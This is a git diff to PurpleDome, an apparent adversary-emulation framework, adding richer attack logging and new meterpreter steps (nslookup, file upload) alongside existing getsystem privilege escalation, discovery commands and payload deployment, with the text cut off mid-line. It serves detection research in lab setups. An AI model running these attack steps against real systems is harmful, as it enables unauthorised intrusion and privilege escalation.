diff --git a/Makefile b/Makefile index e8bf497..53014cd 100644 --- a/Makefile +++ b/Makefile @@ -16,4 +16,7 @@ shipit: test # More detailed pylint tests. pylint: - pylint --rcfile=pylint.rc *.py app/*.py plugins/base/*.py \ No newline at end of file + pylint --rcfile=pylint.rc *.py app/*.py plugins/base/*.py + +mypy: + mypy app/ \ No newline at end of file diff --git a/app/attack_log.py b/app/attack_log.py index 62a2e81..9ab08f0 100644 --- a/app/attack_log.py +++ b/app/attack_log.py @@ -4,6 +4,7 @@ import json import datetime +from random import randint def __mitre_fix_ttp__(ttp): @@ -45,7 +46,60 @@ class AttackLog(): return datetime.datetime.now().strftime(self.datetime_format) - def start_caldera_attack(self, source, paw, group, ability_id, ttp=None, name=None, description=None, obfuscator="default", jitter="default"): # pylint: disable=too-many-arguments + def get_caldera_default_name(self, ability_id): + """ Returns the default name for this ability based on a db """ + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "whoami"} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_description(self, ability_id): + """ Returns the default description for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "Obtain user from current session"} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_tactics(self, ability_id): + """ Returns the default tactics for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": " System Owner/User Discovery"} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_tactics_id(self, ability_id): + """ Returns the default name for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "T1033"} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_situation_description(self, ability_id): + """ Returns the default situation description for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None} + if ability_id not in data: + return None + + return data[ability_id] + + def get_caldera_default_countermeasure(self, ability_id): + """ Returns the default countermeasure for this ability based on a db """ + + data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None} + if ability_id not in data: + return None + + return data[ability_id] + + def start_caldera_attack(self, source, paw, group, ability_id, ttp=None, **kwargs): """ Mark the start of a caldera attack @param source: source of the attack. Attack IP @@ -53,34 +107,41 @@ class AttackLog(): @param group: Caldera group of the targets being attacked @param ability_id: Caldera ability id of the attack @param ttp: TTP of the attack (as stated by Caldera internal settings) - @param name: Name of the attack. Data source is Caldera internal settings - @param description: Descirption of the attack. Caldera is the source - @param obfuscator: C&C obfuscator being used - @param jitter: Jitter being used """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "attack", - "sub-type": "caldera", + "sub_type": "caldera", "source": source, "target_paw": paw, "target_group": group, "ability_id": ability_id, "hunting_tag": __mitre_fix_ttp__(ttp), - "name": name or "", - "description": description or "", - "obfuscator": obfuscator, - "jitter": jitter + "logid": logid, + "name": kwargs.get("name", self.get_caldera_default_name(ability_id)), + "description": kwargs.get("description", self.get_caldera_default_description(ability_id)), + "tactics": kwargs.get("tactics", self.get_caldera_default_tactics(ability_id)), + "tactics_id": kwargs.get("tactics_id", self.get_caldera_default_tactics_id(ability_id)), + "situation_description": kwargs.get("situation_description", self.get_caldera_default_situation_description(ability_id)), # Description for the situation this attack was run in. Set by the plugin or attacker emulation + "countermeasure": kwargs.get("countermeasure", self.get_caldera_default_countermeasure(ability_id)), # Set by the attack + "obfuscator": kwargs.get("obfuscator", "default"), + "jitter": kwargs.get("jitter", "default"), } self.__add_to_log__(data) + return logid + # TODO: Add parameter # TODO: Add config # TODO: Add results - def stop_caldera_attack(self, source, paw, group, ability_id, ttp=None, name=None, description=None, obfuscator="default", jitter="default"): # pylint: disable=too-many-arguments + def stop_caldera_attack(self, source, paw, group, ability_id, ttp=None, **kwargs): """ Mark the end of a caldera attack @param source: source of the attack. Attack IP @@ -97,16 +158,17 @@ class AttackLog(): data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "attack", - "sub-type": "caldera", + "sub_type": "caldera", "source": source, "target_paw": paw, "target_group": group, "ability_id": ability_id, "hunting_tag": __mitre_fix_ttp__(ttp), - "name": name or "", - "description": description or "", - "obfuscator": obfuscator, - "jitter": jitter + "name": kwargs.get("name", ""), + "description": kwargs.get("description", ""), + "obfuscator": kwargs.get("obfuscator", "default"), + "jitter": kwargs.get("jitter", "default"), + "logid": kwargs.get("logid", None) } self.__add_to_log__(data) @@ -118,33 +180,44 @@ class AttackLog(): @param file_name: Name of the file being written """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "dropping_file", - "sub-type": "by PurpleDome", + "sub_type": "by PurpleDome", "source": source, "target": target, - "file_name": file_name + "file_name": file_name, + "logid": logid } self.__add_to_log__(data) + return logid - def stop_file_write(self, source, target, file_name): + def stop_file_write(self, source, target, file_name, **kwargs): """ Mark the stop of a file being written to the target (payload !) @param source: source of the attack. Attack IP (empty if written from controller) @param target: Target machine of the attack @param attack_name: Name of the attack. From plugin @param file_name: Name of the file being written + @param logid: logid of the corresponding start command + + kwargs: logid to link to start_file_write """ data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "dropping_file", - "sub-type": "by PurpleDome", + "sub_type": "by PurpleDome", "source": source, "target": target, - "file_name": file_name + "file_name": file_name, + "logid": kwargs.get("logid", None) } + self.__add_to_log__(data) def start_execute_payload(self, source, target, command): @@ -155,36 +228,45 @@ class AttackLog(): @param command: Name of the file being written """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "execute_payload", - "sub-type": "by PurpleDome", + "sub_type": "by PurpleDome", "source": source, "target": target, - "command": command + "command": command, + "logid": logid } self.__add_to_log__(data) - def stop_execute_payload(self, source, target, command): + return logid + + def stop_execute_payload(self, source, target, command, **kwargs): """ Mark the stop of a payload being executed @param source: source of the attack. Attack IP (empty if written from controller) @param target: Target machine of the attack @param command: Name of the attack. From plugin @param file_name: Name of the file being written + @param kwargs: logid to link to start_file_write """ data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "execute_payload", - "sub-type": "by PurpleDome", + "sub_type": "by PurpleDome", "source": source, "target": target, - "command": command + "command": command, + "logid": kwargs.get("logid", None) } self.__add_to_log__(data) - def start_kali_attack(self, source, target, attack_name, ttp=None): + def start_kali_attack(self, source, target, attack_name, ttp=None, **kwargs): """ Mark the start of a Kali based attack @param source: source of the attack. Attack IP @@ -193,22 +275,36 @@ class AttackLog(): @param ttp: TTP of the attack. From plugin """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "attack", - "sub-type": "kali", + "sub_type": "kali", "source": source, "target": target, "kali_name": attack_name, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": logid, + "name": kwargs.get("name", None), # Human readable name of the attack + "kali_command": kwargs.get("kali_command", None), + "tactics": kwargs.get("tactics", None), + "tactics_id": kwargs.get("tactics_id", None), + "description": kwargs.get("description", None), # Generic description for this attack. Set by the attack + "situation_description": kwargs.get("situation_description", None), # Description for the situation this attack was run in. Set by the plugin or attacker emulation + "countermeasure": kwargs.get("countermeasure", None), # Set by the attack } self.__add_to_log__(data) + return logid + # TODO: Add parameter # TODO: Add config # TODO: Add results - def stop_kali_attack(self, source, target, attack_name, ttp=None): + def stop_kali_attack(self, source, target, attack_name, ttp=None, **kwargs): """ Mark the end of a Kali based attack @param source: source of the attack. Attack IP @@ -220,15 +316,92 @@ class AttackLog(): data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "attack", - "sub-type": "kali", + "sub_type": "kali", "source": source, "target": target, "kali_name": attack_name, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": kwargs.get("logid", None) + } + self.__add_to_log__(data) + + def start_narration(self, text): + """ Add some user defined narration. Can be used in plugins to describe the situation before and after the attack, ... + At the moment there is no stop narration command. I do not think we need one. But I want to stick to the structure + + @param text: Text of the narration + """ + + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "event": "start", + "type": "narration", + "sub_type": "user defined narration", + "text": text, } self.__add_to_log__(data) + return logid - def start_metasploit_attack(self, source, target, metasploit_command, ttp=None): + def start_build(self, **kwargs): + """ Mark the start of a tool building/compilation process + + @param source: source of the attack. Attack IP + @param target: Target machine of the attack + @param attack_name: Name of the attack. From plugin + @param ttp: TTP of the attack. From plugin + """ + + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, + "event": "start", + "type": "build", + # "sub_type": "", + "logid": logid, + "dl_uri": kwargs.get("dl_uri", None), + "dl_uris": kwargs.get("dl_uris", None), + "payload": kwargs.get("payload", None), + "platform": kwargs.get("platform", None), + "architecture": kwargs.get("architecture", None), + "lhost": kwargs.get("lhost", None), + "lport": kwargs.get("lport", None), + "filename": kwargs.get("filename", None), + "encoding": kwargs.get("encoding", None), + "encoded_filename": kwargs.get("encoded_filename", None), + "sRDI_conversion": kwargs.get("sRDI_conversion", False), + "for_step": kwargs.get("for_step", None), + "comment": kwargs.get("comment", None), + } + self.__add_to_log__(data) + + return logid + + # TODO: Add parameter + # TODO: Add config + # TODO: Add results + + def stop_build(self, **kwargs): + """ Mark the end of a tool building/compilation process + + @param source: source of the attack. Attack IP + @param target: Target machine of the attack + @param attack_name: Name of the attack. From plugin + @param ttp: TTP of the attack. From plugin + """ + + data = {"timestamp": self.__get_timestamp__(), + "event": "stop", + "type": "build", + # "sub_type": "", + "logid": kwargs.get("logid", None) + } + self.__add_to_log__(data) + + def start_metasploit_attack(self, source, target, metasploit_command, ttp=None, **kwargs): """ Mark the start of a Metasploit based attack @param source: source of the attack. Attack IP @@ -237,18 +410,31 @@ class AttackLog(): @param ttp: TTP of the attack. From plugin """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "attack", - "sub-type": "metasploit", + "sub_type": "metasploit", "source": source, "target": target, "metasploit_command": metasploit_command, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": logid, + "name": kwargs.get("name", None), # Human readable name of the attack + "tactics": kwargs.get("tactics", None), + "tactics_id": kwargs.get("tactics_id", None), + "description": kwargs.get("description", None), # Generic description for this attack. Set by the attack + "situation_description": kwargs.get("situation_description", None), # Description for the situation this attack was run in. Set by the plugin or attacker emulation + "countermeasure": kwargs.get("countermeasure", None), # Set by the attack } self.__add_to_log__(data) - def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None): + return logid + + def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None, **kwargs): """ Mark the start of a Metasploit based attack @param source: source of the attack. Attack IP @@ -260,11 +446,12 @@ class AttackLog(): data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "attack", - "sub-type": "metasploit", + "sub_type": "metasploit", "source": source, "target": target, "metasploit_command": metasploit_command, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": kwargs.get("logid", None) } self.__add_to_log__(data) @@ -277,38 +464,46 @@ class AttackLog(): @param ttp: TTP of the attack. From plugin """ - data = {"timestamp": self.__get_timestamp__(), + timestamp = self.__get_timestamp__() + logid = timestamp + "_" + str(randint(1, 100000)) + + data = {"timestamp": timestamp, + "timestamp_end": None, "event": "start", "type": "attack", - "sub-type": "attack_plugin", + "sub_type": "attack_plugin", "source": source, "target": target, "plugin_name": plugin_name, "hunting_tag": __mitre_fix_ttp__(ttp), + "logid": logid } self.__add_to_log__(data) + return logid # TODO: Add parameter # TODO: Add config # TODO: Add results - def stop_attack_plugin(self, source, target, plugin_name, ttp=None): + def stop_attack_plugin(self, source, target, plugin_name, **kwargs): """ Mark the end of an attack plugin @param source: source of the attack. Attack IP @param target: Target machine of the attack @param plugin_name: Name of the plugin - @param ttp: TTP of the attack. From plugin + @param logid: logid of the corresponding start command + @param kwargs: *ttp*, *logid* """ data = {"timestamp": self.__get_timestamp__(), "event": "stop", "type": "attack", - "sub-type": "attack_plugin", + "sub_type": "attack_plugin", "source": source, "target": target, "plugin_name": plugin_name, - "hunting_tag": __mitre_fix_ttp__(ttp), + "hunting_tag": __mitre_fix_ttp__(kwargs.get("ttp", None)), + "logid": kwargs.get("logid", None) } self.__add_to_log__(data) @@ -320,11 +515,31 @@ class AttackLog(): with open(filename, "wt") as fh: json.dump(self.get_dict(), fh) + def post_process(self): + """ Post process the data before using it """ + + for entry in self.log: + if entry["event"] == "stop" and "logid" in entry and entry["logid"] is not None: + # Search for matching start event and add timestamp + logid = entry["logid"] + for replace_entry in self.log: + if replace_entry["event"] == "start" and "logid" in replace_entry and replace_entry["logid"] == logid: + # Found matching start event. Updating it + replace_entry["timestamp_end"] = entry["timestamp"] + def get_dict(self): """ Return logged data in dict format """ return self.log + # TODO: doc_start_environment + + # TODO: doc_describe_attack + + # TODO: doc_attack_step + + # TODO: Return full doc + def vprint(self, text, verbosity): """ verbosity based stdout printing diff --git a/app/calderacontrol.py b/app/calderacontrol.py index b1193f2..cf54039 100644 --- a/app/calderacontrol.py +++ b/app/calderacontrol.py @@ -589,7 +589,7 @@ class CalderaControl(): # ######## All inclusive methods - def attack(self, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None): + def attack(self, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None, **kwargs): """ Attacks a system and returns results @param paw: Paw to attack @@ -633,7 +633,8 @@ class CalderaControl(): name=self.get_ability(ability_id)[0]["name"], description=self.get_ability(ability_id)[0]["description"], obfuscator=obfuscator, - jitter=jitter + jitter=jitter, + **kwargs ) # ##### Create / Run Operation diff --git a/app/config.py b/app/config.py index 2265965..6b19c36 100644 --- a/app/config.py +++ b/app/config.py @@ -67,7 +67,7 @@ class MachineConfig(): try: return self.raw_config["vm_controller"]["ip"] except KeyError: - return None + return self.vmname() def os(self): # pylint: disable=invalid-name """ returns the os. lowercase """ @@ -178,12 +178,12 @@ class ExperimentConfig(): for attacker in self.raw_config["attackers"]: self._attackers.append(MachineConfig(self.raw_config["attackers"][attacker])) - def targets(self) -> [MachineConfig]: + def targets(self) -> list[MachineConfig]: """ Return config for targets as MachineConfig objects """ return self._targets - def attackers(self) -> [MachineConfig]: + def attackers(self) -> list[MachineConfig]: """ Return config for attackers as MachineConfig objects """ return self._attackers diff --git a/app/experimentcontrol.py b/app/experimentcontrol.py index 73229fc..9f5c161 100644 --- a/app/experimentcontrol.py +++ b/app/experimentcontrol.py @@ -67,7 +67,8 @@ class Experiment(): pass target_1.install_caldera_service() target_1.up() - needs_reboot = target_1.prime_sensors() + needs_reboot = target_1.prime_vulnerabilities() + needs_reboot |= target_1.prime_sensors() if needs_reboot: target_1.reboot() self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Target is up: {tname} {CommandlineColors.ENDC}", 1) @@ -182,6 +183,7 @@ class Experiment(): target_1.halt() self.__stop_attacker() + self.attack_logger.post_process() self.attack_logger.write_json(os.path.join(self.lootdir, "attack.json")) self.zip_loot(zip_this) diff --git a/app/machinecontrol.py b/app/machinecontrol.py index cbd938a..b5ac66b 100644 --- a/app/machinecontrol.py +++ b/app/machinecontrol.py @@ -212,7 +212,7 @@ class Machine(): plugin.install() self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Installed sensor: {name}{CommandlineColors.ENDC}", 2) - def get_sensors(self) -> [SensorPlugin]: + def get_sensors(self) -> list[SensorPlugin]: """ Returns a list of running sensors """ return self.sensors @@ -262,6 +262,31 @@ class Machine(): ############ + def prime_vulnerabilities(self): + """ Prime vulnerabilities from plugins (hard core installs that could require a reboot) + + A machine can have several vulnerabilities. Those are defined in a list in the config. + + """ + + reboot = False + + for plugin in self.plugin_manager.get_plugins(VulnerabilityPlugin, self.config.vulnerabilities()): + name = plugin.get_name() + + self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Priming vulnerability: {name}{CommandlineColors.ENDC}", 2) + syscon = {"abs_machinepath_internal": self.abs_machinepath_internal, + "abs_machinepath_external": self.abs_machinepath_external, + } + plugin.set_sysconf(syscon) + plugin.set_machine_plugin(self.vm_manager) + plugin.process_config({}) # plugin specific configuration + plugin.setup() + reboot |= plugin.prime() + self.vulnerabilities.append(plugin) + self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Primed vulnerability: {name}{CommandlineColors.ENDC}", 2) + return reboot + def install_vulnerabilities(self): """ Install vulnerabilities from plugins: The machine is not yet modified ! For that call start_vulnerabilities next @@ -280,9 +305,9 @@ class Machine(): plugin.set_machine_plugin(self.vm_manager) plugin.setup() plugin.install(self.vm_manager) - self.vulnerabilities.append(plugin) + # self.vulnerabilities.append(plugin) - def get_vulnerabilities(self) -> [VulnerabilityPlugin]: + def get_vulnerabilities(self) -> list[VulnerabilityPlugin]: """ Returns a list of installed vulnerabilities """ return self.vulnerabilities diff --git a/app/metasploit.py b/app/metasploit.py index 72203cb..180dd26 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -147,7 +147,7 @@ class Metasploit(): retries -= 1 raise MetasploitError(f"Could not find session for {target.get_ip()} Name resolution worked: {name_resolution_worked}") - def meterpreter_execute(self, cmds: [str], session_number: int, delay=0) -> str: + def meterpreter_execute(self, cmds: list[str], session_number: int, delay=0) -> list[str]: """ Executes commands on the meterpreter, returns results read from shell @param cmds: commands to execute, a list @@ -164,7 +164,7 @@ class Metasploit(): res.append(shell.read()) return res - def meterpreter_execute_on(self, cmds: [str], target, delay=0) -> str: + def meterpreter_execute_on(self, cmds: list[str], target, delay=0) -> list[str]: """ Executes commands on the meterpreter, returns results read from shell @param cmds: commands to execute, a list @@ -313,12 +313,12 @@ class MSFVenom(): 1) # Deploy to target if self.attack_logger: - self.attack_logger.start_file_write("", self.target.get_name(), payload_name) + logid = self.attack_logger.start_file_write("", self.target.get_name(), payload_name) playground = self.target.get_playground() - print(f"Putting to playground {playground}") + print(f"Putting to {self.target.get_name() }/ {playground}") self.target.put(src, playground) if self.attack_logger: - self.attack_logger.stop_file_write("", self.target.get_name(), payload_name) + self.attack_logger.stop_file_write("", self.target.get_name(), payload_name, logid=logid) if self.target.get_os() == "linux": if self.target.get_playground() is not None: @@ -332,11 +332,11 @@ class MSFVenom(): print(cmd) if self.attack_logger: - self.attack_logger.start_execute_payload("", self.target.get_name(), cmd) + logid = self.attack_logger.start_execute_payload("", self.target.get_name(), cmd) res = self.target.remote_run(cmd, disown=True) print(f"Running payload, result is {res}") if self.attack_logger: - self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd) + self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd, logid=logid) self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}", 1) @@ -402,25 +402,36 @@ class MetasploitInstant(Metasploit): res = [item for item in res if item["Arch"] == arch] return res - def ps_process_discovery(self, target): + def ps_process_discovery(self, target, **kwargs): """ Do a process discovery on the target """ command = "ps -ax" ttp = "T1057" + tactics = "Discovery" + tactics_id = "TA0007" + description = "Process discovery can be used to identify running security solutions, processes with elevated privileges, interesting services." self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) - self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), - target=target.get_ip(), - metasploit_command=command, - ttp=ttp) + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="ps", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", None), + countermeasure=kwargs.get("countermeasure", None) + ) res = self.meterpreter_execute_on([command], target) self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), target=target.get_ip(), metasploit_command=command, - ttp=ttp) + ttp=ttp, + logid=logid) return res def migrate(self, target, user=None, name=None, arch=None): @@ -457,47 +468,112 @@ class MetasploitInstant(Metasploit): ttp=ttp) return res - def arp_network_discovery(self, target): + def arp_network_discovery(self, target, **kwargs): """ Do a network discovery on the target """ command = "arp" ttp = "T1016" + tactics = "Discovery" + tactics_id = "TA0007" + description = "Network discovery can be a first step for lateral movement." self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) - self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), - target=target.get_ip(), - metasploit_command=command, - ttp=ttp) + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="arp", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", + None), + countermeasure=kwargs.get("countermeasure", None) + ) res = self.meterpreter_execute_on([command], target) print(res) self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), target=target.get_ip(), metasploit_command=command, - ttp=ttp) + ttp=ttp, + logid=logid) + return res + + def nslookup(self, target, target2, **kwargs): + """ Do a nslookup discovery on the target + + @param target: Command runs here + @param target2: This one is looked up + """ + + command = f"execute -f nslookup.exe -H -i -a '{target2.get_ip()}'" + ttp = "T1018" + tactics = "Discovery" + tactics_id = "TA0007" + description = "Nslookup to get information on a specific target" + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) + + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="nslookup", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", + None), + countermeasure=kwargs.get("countermeasure", None) + ) + res = self.meterpreter_execute_on([command], target) + print(res) + self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + logid=logid) return res - def getsystem(self, target): + def getsystem(self, target, **kwargs): """ Do a network discovery on the target """ command = "getsystem" ttp = "????" # It uses one out of three different ways to elevate privileges. + tactics = "Privilege Escalation" + tactics_id = "TA0004" + description = """ +Elevate privileges from local administrator to SYSTEM. Three ways to do that will be tried: +* named pipe impersonation using cmd +* named pipe impersonation using a dll +* token duplication +""" # https://docs.rapid7.com/metasploit/meterpreter-getsystem/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) - self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), - target=target.get_ip(), - metasploit_command=command, - ttp=ttp) + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="getsystem", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", None), + countermeasure=kwargs.get("countermeasure", None) + ) res = self.meterpreter_execute_on([command], target) print(res) self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), target=target.get_ip(), metasploit_command=command, - ttp=ttp) + ttp=ttp, + logid=logid) return res def clearev(self, target): @@ -625,3 +701,42 @@ class MetasploitInstant(Metasploit): metasploit_command=command, ttp=ttp) return res[0] + + def upload(self, target, src, dst, **kwargs): + """ Upload file from metasploit controller to target + + @param src: source file name on metasploit controller + @param dst: destination file name on target machine + """ + + command = f"upload {src} '{dst}' " + ttp = "????" # It uses one out of three different ways to elevate privileges. + tactics = "???" + tactics_id = "???" + description = """ +Uploading new files to the target. Can be config files, tools, implants, ... +""" + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) + + logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + name="upload", + description=description, + tactics=tactics, + tactics_id=tactics_id, + situation_description=kwargs.get("situation_description", + None), + countermeasure=kwargs.get("countermeasure", None) + ) + res = self.meterpreter_execute_on([command], target, kwargs.get("delay", 10)) + print(res) + self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp, + logid=logid) + return res diff --git a/app/pluginmanager.py b/app/pluginmanager.py index aa9b562..0ca66bd 100644 --- a/app/pluginmanager.py +++ b/app/pluginmanager.py @@ -35,7 +35,7 @@ class PluginManager(): self.base = "plugins/**/*.py" self.attack_logger = attack_logger - def get_plugins(self, subclass, name_filter=None) -> [BasePlugin]: + def get_plugins(self, subclass, name_filter=None) -> list[BasePlugin]: """ Returns a list plugins matching specified criteria @@ -46,7 +46,7 @@ class PluginManager(): res = [] - def get_handlers(a_plugin) -> [subclass]: + def get_handlers(a_plugin): return a_plugin.produce() plugin_dirs = set() diff --git a/doc_generator.py b/doc_generator.py new file mode 100755 index 0000000..fa5f76b --- /dev/null +++ b/doc_generator.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 + +# A standalon document generator. Takes an attack log and generates a doc using templates. Functionality will later be merged into PurpleDome + +import json +from jinja2 import Environment, FileSystemLoader, select_autoescape +# from pprint import pprint + + +def generate(jfile, outfile): + env = Environment( + loader=FileSystemLoader("templates", encoding='utf-8', followlinks=False), + autoescape=select_autoescape(), + trim_blocks=True, + lstrip_blocks=True + ) + template = env.get_template("attack_description.rst") + + with open(jfile) as fh: + events = json.load(fh) + + print(template.render(events=events)) + # pprint(events) + # dest = os.path.join(self.get_plugin_path(), "filebeat.conf") + # with open(dest, "wt") as fh: + # res = template.render({"playground": self.get_playground()}) + # fh.write(res) + + +if __name__ == "__main__": + # generate("loot/2021_07_19___16_28_45/attack.json", "tools/human_readable_documentation/contents.rst") # Working example for a short run + # generate("loot/2021_07_20___08_26_33/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #1 + # generate("loot/2021_07_20___10_07_36/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #2 The one Fabrizio got + #generate("loot/2021_07_28___12_09_00/attack.json", + # "tools/human_readable_documentation/contents.rst") # FIN 7 The last minute locally generated thing + + generate("loot/2021_08_30___14_40_23/attack.json", + "tools/human_readable_documentation/contents.rst") # FIN 7 With genereated files added + + # generate("loot/2021_07_19___15_10_45/attack.json", "tools/human_readable_documentation/contents.rst") + # generate("removeme.json", "tools/human_readable_documentation/contents.rst") diff --git a/plugins/base/attack.py b/plugins/base/attack.py index 9dea198..3f27a23 100644 --- a/plugins/base/attack.py +++ b/plugins/base/attack.py @@ -103,7 +103,7 @@ class AttackPlugin(BasePlugin): """ self.caldera = caldera - def caldera_attack(self, target, ability_id, parameters=None): + def caldera_attack(self, target, ability_id, parameters=None, **kwargs): """ Attack a single target using caldera @param target: Target machine object @@ -115,7 +115,8 @@ class AttackPlugin(BasePlugin): ability_id=ability_id, group=target.get_group(), target_platform=target.get_os(), - parameters=parameters + parameters=parameters, + **kwargs ) def get_attacker_playground(self): diff --git a/plugins/base/ssh_features.py b/plugins/base/ssh_features.py index fec3aed..45c9e0a 100644 --- a/plugins/base/ssh_features.py +++ b/plugins/base/ssh_features.py @@ -48,7 +48,7 @@ class SSHFeatures(BasePlugin): args["password"] = self.config.ssh_password() self.vprint(args, 3) uhp = self.get_ip() - self.vprint(uhp, 3) + self.vprint(f"IP to connect to: {uhp}", 3) self.connection = Connection(uhp, connect_timeout=timeout, user=self.config.ssh_user(), connect_kwargs=args) except (paramiko.ssh_exception.SSHException, socket.timeout): self.vprint(f"Failed to connect, will retry {retries} times. Timeout: {timeout}", 0) @@ -81,6 +81,7 @@ class SSHFeatures(BasePlugin): result = None retry = 2 while retry > 0: + do_retry = False try: result = self.connection.run(cmd, disown=disown) print(result) @@ -88,6 +89,11 @@ class SSHFeatures(BasePlugin): except (paramiko.ssh_exception.NoValidConnectionsError, UnexpectedExit, paramiko.ssh_exception.SSHException) as error: if retry <= 0: raise NetworkError from error + do_retry = True + except paramiko.ssh_exception.NoValidConnectionsError as error: + self.vprint(f"No valid connection. Errors: {error.errors}", 1) + do_retry = True + if do_retry: self.disconnect() self.connect() retry -= 1 @@ -117,19 +123,26 @@ class SSHFeatures(BasePlugin): retries = 10 retry_sleep = 10 timeout = 30 - while retries: + while retries > 0: + do_retry = False try: res = self.connection.put(src, dst) except (paramiko.ssh_exception.SSHException, socket.timeout, UnexpectedExit): - self.vprint(f"PUT Failed to connect, will retry {retries} times. Timeout: {timeout}", 3) + self.vprint("PUT Failed to connect", 1) + do_retry = True + except paramiko.ssh_exception.NoValidConnectionsError as error: + self.vprint(f"No valid connection. Errors: {error.errors}", 1) + do_retry = True + except FileNotFoundError as error: + self.vprint(f"File not found: {error}", 0) + break + if do_retry: + self.vprint(f"Will retry {retries} times. Timeout: {timeout}", 3) retries -= 1 timeout += 10 time.sleep(retry_sleep) self.disconnect() self.connect() - except FileNotFoundError as error: - self.vprint(f"File not found: {error}", 0) - break else: return res self.vprint("SSH network error on PUT command", 0) @@ -149,18 +162,24 @@ class SSHFeatures(BasePlugin): retry = 2 while retry > 0: + do_retry = False try: res = self.connection.get(src, dst) except (paramiko.ssh_exception.NoValidConnectionsError, UnexpectedExit) as error: if retry <= 0: raise NetworkError from error + do_retry = True + except paramiko.ssh_exception.NoValidConnectionsError as error: + self.vprint(f"No valid connection. Errors: {error.errors}", 